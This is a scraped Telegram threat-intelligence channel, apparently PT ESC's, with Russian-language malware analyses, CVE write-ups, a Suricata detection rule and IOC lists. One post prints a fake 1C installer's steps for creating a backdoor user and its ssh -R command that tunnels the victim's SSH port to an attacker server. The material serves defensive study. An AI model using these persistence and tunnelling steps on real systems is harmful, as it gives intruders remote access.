ESCalator
6.62K subscribers
480 photos
1 video
18 files
190 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
Download Telegram
Стилерная инфекция: новый USB-штамм 👾

Сегодня расскажем про обнаруженную нами необычную модификацию стилера WorldWind. Это самый что ни на есть настоящий вирус, передающийся через тесный контакт зараженного устройства с USB-носителем и вызывающий не только утечку конфиденциальной информации, но и потерю бесценной коллекции ПО на внешних дисках.

Находка, как и ее предшественники, все также продолжает использовать сервисы icanhazip, mylnikov.org + Google Карты для определения внешнего IP-адреса и геолокации (скриншот 1). Реализация модуля сбора информации тоже не изменилась, за исключением пары структур.

🐔 Мутации же затронули сетевую часть и набор функций стилера. Теперь он не передает информацию через Telegram. Вместо этого сообщения улетают на С2-сервер злоумышленников в следующем порядке: checkin → exfiltration → close. Форматы этих сообщений представлены на скриншоте 2.

Из стилера также пропали функции для кражи VPN-конфигов и паролей от игровых лончеров и Wi-Fi. Но взамен развилась способность агрессивно распространяться через USB-носители. Если на внешнем диске есть экзешники, то стилер удалит их и запишет себя под их именами (скриншот 3).

Не находите, что повеяло старыми добрыми временами дикого вирусописательства? 😏

Чтобы уменьшить риск заражения, ставьте сигнатурные прививки и проходите антивирусные осмотры.

Заодно давайте покроем стилер правилом, детектирующим checkin:


alert tcp any any -> any any (msg: "STEALER [PTsecurity] WorldWind checkin"; flow: established, to_server; stream_size: client, <, 80; stream_size: server, =, 1; content: "|46 00 00 00|"; startswith; fast_pattern; content: "{|22|id|22 3a| 0"; within: 8; content: "|22|hwid|22 3a|"; within: 10; content: !"|20|"; distance: 2; within: 32; content: "|22|country|22 3a|"; distance: 32; content: !","; distance: 0; classtype: trojan-activity; metadata: malware_family WorldWind; sid: 1; rev: 1;)


IOCs:


84d52de2b69e14f26259da07297e02eb2c4ac32045a690f65a267fe931da0433
20.208.136.72:12346


Будьте здоровы и happy hunting!

#hunt #C2 #detect #ioc #malware #network #suricata
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥20👍115
😏 Эксклюзивно для Escalator команда ESC-VR рассказывает о деталях уязвимости (CVE-2024-43629), которую мы нашли в компоненте Desktop Window Manage, позволяющей повысить привилегии до уровня системных.

Уязвимость находилась в библиотеке dwmcore.dll в функции CPrimitiveGroupDrawListBrush::IsColorConversionRequired (скриншот 1). При совместном использовании классов СSurfaceBrush и CPrimitiveGroup она позволяла достичь кода, который осуществляет вычисление положения экземпляра класса CDrawListBitmap в массиве drawListBitmap_Vec, располагающемся, в свою очередь, в экземпляре класса CPrimitiveGroupDrawListGenerator.

При определенном сочетании свойств экземпляров СSurfaceBrush и CPrimitiveGroup могла сложиться ситуация, при которой указатель drawListBitmap_Vec был бы равен нулю и все вычисления свелись бы только к работе с индексом, а его значение полностью контролировалось бы атакующим и имело размер DWORD. Таким образом можно было бы перехватить указатель на объект CDrawListBitmap (скриншот 2).

#escvr #win #cve
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥24👍105👏52🤗1
APT-C-60, или DarkHotel

💿 Мы как-то рассказывали про использование VHDX-файла в атаках и почему это удобно (нет, это не призыв к действию). Сам пост вы можете найти по ссылке. Тогда же мы упомянули, что по этой теме скоро выйдет исследование. Да, это наконец-то произошло!

🕵️‍♂️ Спешим вам напомнить про группировку APT-C-60. Это кибершпионская группа, впервые выявленная в 2021 году. Она нацелена на промышленные компании, особенно на производителей полупроводников в Южной Корее, а также на объекты в Восточной Азии.

Группировка использует фишинговые письма с вредоносными вложениями и эксплуатирует уязвимости в программном обеспечении (среди которых уязвимости в WPS Office) для внедрения вредоносного ПО под названием SpyGlace

В последнее время группировка использует уязвимости в продуктах WPS Office (CVE-2024-7262), однако ранее в своих атаках она как раз использовали виртуальный диск. В сентябре 2024 года мы заметили один из новых дисков и решили, что будет полезно рассказать об этом.

Другие исследователи связывают эту группировку с одним общим кластером под названием DarkHotel. Мы покажем, откуда взялась такая взаимосвязь, и еще раз убедимся, что исследовать метаданные — это важно.

☕️ Новое исследование можно найти на нашем сайте.

Приятного чтения!

#TI #news #APT
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥17👍8💯6
📲 Облачные сервисы от оператора «МеХаФон»

Новости с полей: команда PT ESC наблюдает новую кампанию группировки Cloud Atlas, нацеленную на государственные организации из России и стран СНГ. Про эту группировку мы рассказывали в нашем исследовании APT Cloud Atlas: Unbroken Threat и в посте.

📝 В качестве исходного вектора в своих атаках злоумышленники традиционно используют фишинговые письма с вредоносным вложением «О представлении информации.doc» (VirusTotal 0/62). Рассылка осуществляется с адресов @internet.ru. Такой домен почтового адреса можно получить при регистрации на сервисе mail.ru.

Примечательно, что атакующие не изменяют себе и с 2014 года используют облачные сервисы. При этом они продолжают экспериментировать, и раз за разом в их арсенал добавляются новые популярные платформы. Поэтому в первую очередь мы настоятельно рекомендуем проверить все сессии по протоколу «Яндекс Диск WebDAV» (webdav.yandex.ru) и запросы через Google Sheets API (oauth2.googleapis.com, sheets.googleapis.com).

IoCs:


mehafon.com
technoguides.org

9943fee873c0642216d1578fc4373648b670b5bc47a8bf37366063041518f8b2


Happy hunting and stay tuned!

#hunt #detect #ioc #apt #news
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1754💯2👍1😁1
Какие еще легитимные тулы по типу ngrok будут использовать хакеры в будущем? ☹️
Anonymous Poll
23%
calc.exe
23%
ssh.exe
25%
notepad.exe
11%
cloudflared
😁14🍌6😱42🌭1
🔄 Большое малварное обновление правил Suricata

Надеюсь, вы помните, что у нас есть публичный репозиторий правил Suricata (писали о запуске ресурса в другом посте) и настроили suricata-update на поддержку официального источника правил ptrules/open ?

Если что, то вот ссылочка на репозиторий.

Не одними уязвимостями и хактулами живем 🙂

Мы, команда сетевой экспертизы антивирусной лаборатории PT ESC, провели большую работу по актуализации правил, направленных на детектирование активности вредоносного ПО, и вот — выкладываем часть своей экспертизы для общего пользования.

Из интересного:

— загрузчик RustyNet, стилер WorldWind, RAT'ник Slam, о которых писали ранее (в этом посте, этом и этом);
— вредонос для Android: SpyNote, Hydra, Zanubis;
— ужасный RAT'ник XWorm и много других интересных образцов.

Все правила вы можете найти на нашем сайте.

ВПО не пройдет, happy hunting!

#suricata #network #signature #rules
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥18👍136
Прием, прием, нас слышно? 😲

Несмотря на то что хакеры в последнее время обленились и все чаще не разрабатывают ничего своего, изредка все же встречаются оригинальные идеи атак.

В архиве с громким названием 1С_модуль_заказа_дрон-v11.zip лежит файлик СВЯЗЬ РЭБ список Гум.exe со знакомым всем желтым значком «1С». При запуске файла пользователь видит стандартное окно загрузки «1C:Enterprise 8.3» с последующим открытием базы данных (скриншот 1).

🎇 Не будем вестись на яркие картинки и копнем глубже. При помощи sfextract потрошим .NET-установщик. Среди распакованных файлов находим 1C_Module.dll с подозрительно объемными ресурсами.

Библиотека содержит огромное количество легитимных классов «1С», и сам файл с первого взгляда выглядит как легитимный модуль. Но при поиске точек взаимодействия с ресурсами находим пропатченный класс \_1CManifestDelegateRunner.

В методе InitManifest расшифровывают ресурс _1C_Module.tmp и сохраняют его в папке temp. Расшифровываемый файл оказывается Go-дроппером, который расшифровывает 2️⃣3️⃣ файла. Среди них:

📏 10 исполняемых файлов
📏 6 скриптов
📏 7 файлов ресурсов и конфигов

Большинство файлов — это полный набор для настройки SSH-соединения, публичные и приватные ключи и конфиги. Скрипты выполняют следующие действия:

📏 Создают нового юзера с кредами:


$sshUserName = "config"
$sshUserPass = "[REDACTED]"


📏 Копируют все файлы в папку C:\Program Files\System Event Service
📏 Запускают SSHD и ssh-agent, настроив публичный и приватный ключ
📏 Запускают ntrights с параметрами -u "NT SERVICE\SSHD" +r SeAssignPrimaryTokenPrivilege
📏 Запускают таинственный файл shh-tunnel.exe или же впоследствии переименование — syseventservice-update.exe

На последнем пункте остановимся поподробнее, так как shh-tunnel.exe не является частью стандартного SSH. Этот экзешник написан на Go и представляет собой инструмент для установки туннеля, названный нами Go2Tunnel. Он вытаскивает из рядом лежащего конфига ssh_tunnel_config (или syseventservice-update_config) порты для создания туннеля:


C:\\Program Files\\System Event Service\\ssh.exe -R <ServerTunnelPort> :127.0.0.1:22 -N -T -i \"C:\\Program Files\\System Event Service\\event-server\" -o StrictHostKeyChecking=no -o ExitOnForwardFailure=yes -o ServerAliveInterval=45 -p<ServerSshPort> <ServerUserLogin>@<serverHostname>


В случае когда serverTunnelPort не указан, выполняется POST-запрос по следующему адресу:


https://<serverHostname>:<ServerWebPort>/tunnel/register


😌🐱🐱

Сам Go2Tunnel после создания туннеля только спит и ест и проверяет, работает ли сервер, при помощи команды ps1:


-Command "Get-NetTCPConnection -RemoteAddress <serverHostname> -RemotePort <ServerSshPort> -State Established -OwningProcess <sshProcess_Pid>"


Если ответа нет, то SSH-процесс прерывают, делают резолв адреса из конфига и заново запускают туннель.

🎇 IoCs:


15b3dcd795d417c69a627e13382800cc0cf005e9f5d0345e22a02f460b052ea1
2de2c9ab37ce5abfcd7e9018b1cb00066209b0b9ecdf70249148f53389dca5b1
5faa4da85e2657682fd40f5a86d61e87a3e70c3dff81335f226437c755a89f4a
6aa1fc0c2b7a01952b92e7af4f69fc602d34da95a872c57e7cfe34e918086c89
957a9705b200cd0f059d62d7b21e97db260b9b6c0c5ddf20c38d236103cb799b
fac77b7f1150c00dd5ca9da0f93e2f073a7eb70e2f4fd82a267afbc938a6e175
16.16.179.83
5.252.22.10


#TI #phishing #ioc
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥198👾8👍4
Not a Pwn2Own bug 🙂

CVE-2024-43641: ошибка типа CWE-190 позволяла переполнить счетчик ссылок на экземпляр _CM_KEY_SECURITY. Уязвимый код располагался в ntoskrnl.exe — в функции CmpSetSecurityDescriptorInfo (скриншот 1).

Для того чтобы достигнуть уязвимого кода, необходимо открыть или создать ключ реестра в режиме транзакций. Сделать это можно через функцию RegCreateKeyTransacted. Так как нет ограничения на количество операций, которые могут быть записаны в рамках одной транзакции, мы можем последовательно вызывать функцию NtSetSecurityObject. И каждый такой вызов будет увеличивать счетчик ссылок на 1.

Для того чтобы уязвимость «сдетонировала», необходимо прокрутить значение счетчика ссылок так, чтобы его значение стало меньше реального количества операций, записанных в рамках транзакции. Если это условие будет соблюдено, то после транзакции ячейка _CM_KEY_SECURITY будет освобождена раньше, чем закончатся операции, которые нужно завершить, что приведет к использованию освободившейся памяти (скриншот 2).

На третьем скриншоте — часть функции CmpDereferenceSecurityNode, отвечающая за уменьшение числа ссылок и освобождение _CM_KEY_SECURITY.

🩹 О патче

Патч переработал то, как подсистема Cоnfiguration Manager (СM) работает со ссылками на _CM_KEY_SECURITY, добавив как минимум две новые функции — CmpKeySecurityDecrementReferenceCount и CmpKeySecurityIncrementReferenceCount, которые теперь будут выдавать bugcheck, если количество ссылок станет равным нулю или после инкремента их будет меньше, чем до (скриншот 4).

К счастью, вряд ли уязвимость можно отнести к эксплуатабельным, так как, чтобы переполнить счетчик ссылок, последовательно увеличивая его на 1, потребуется очень много времени, да и окно, в рамках которого у нас есть возможность «подсунуть» что-то, слишком маленькое и неконтролируемое.

#cve #escvr
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19👍6💯6
Через блокчейн к данным ⭐️

Исследователи из Socket и Checkmarx рассказали об интересной вредоносной кампании в NPM. Злоумышленники мимикрировали под плагины для Puppeteer и блокчейн-клиенты. Для получения IP-адреса актуального командного сервера используется смарт-контракт в блокчейне Ethereum 😦

Из занятного — в коде библиотек используется несколько комментариев на русском:

console.error("Ошибка при получении IP адреса:", err);
console.error("Ошибка при запуске файла:", _0x88fda8);
console.error("Ошибка установки:", _0x14ce94);

Socket предлагает быть осторожным с атрибуцией, так как это может быть следствием переиспользования кода либо сделано нарочно.

В зависимости от вашей платформы будет скачан и запущен один из следующих исполняемых файлов: node-win.exe, node-linux, node-macos. Ниже мы будем называть их агентами.

Мы изучили кампанию подробнее и обнаружили еще несколько интересных деталей.

1️⃣ Несмотря на то что Socket и Checkmarx приводят только один IP-адрес в качестве сетевого IoC, функция назначения нового URL в смарт-контракте вызывалась несколько раз. Всего нам известно о пяти адресах, и самым ранним из них был https://localhost:3001 😈, остальные представляют собой VPS-серверы.

2️⃣ Агент умеет закрепляться в системе и так же, как и JS-библиотеки, скачивающие и запускающие его, получать C2 через блокчейн. Исполняемый файл представляет собой Node.js Single Executable Application, который упаковывает проект и интерпретатор JS в единый файл.

3️⃣ Агент периодически опрашивает сервер на предмет команд в виде JS-кода. Первая нагрузка собирает информацию о системе жертвы: модель процессора, количество ядер, объем оперативной памяти, данные о видеокарте. Полученная информация отправляется обратно на сервер.

4️⃣ Агенты получают просто true, если нет новых задач. Из интересного: корень HTTP-сервера возвращал следующую ошибку:

{"statusCode":404,"message":"ENOENT: no such file or directory, stat '/root/botnet-server/public/index.html'"}

Эта строка проливает свет на возможные цели злоумышленника ☕️

IoCs:

https://194.53.54.188:3001
https://193.233.201.21:3001
https://45.125.67.172:1337
https://45.125.67.172:1228
194.53.54.188
193.233.201.21
45.125.67.172

#ti #npm #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19👍10💯7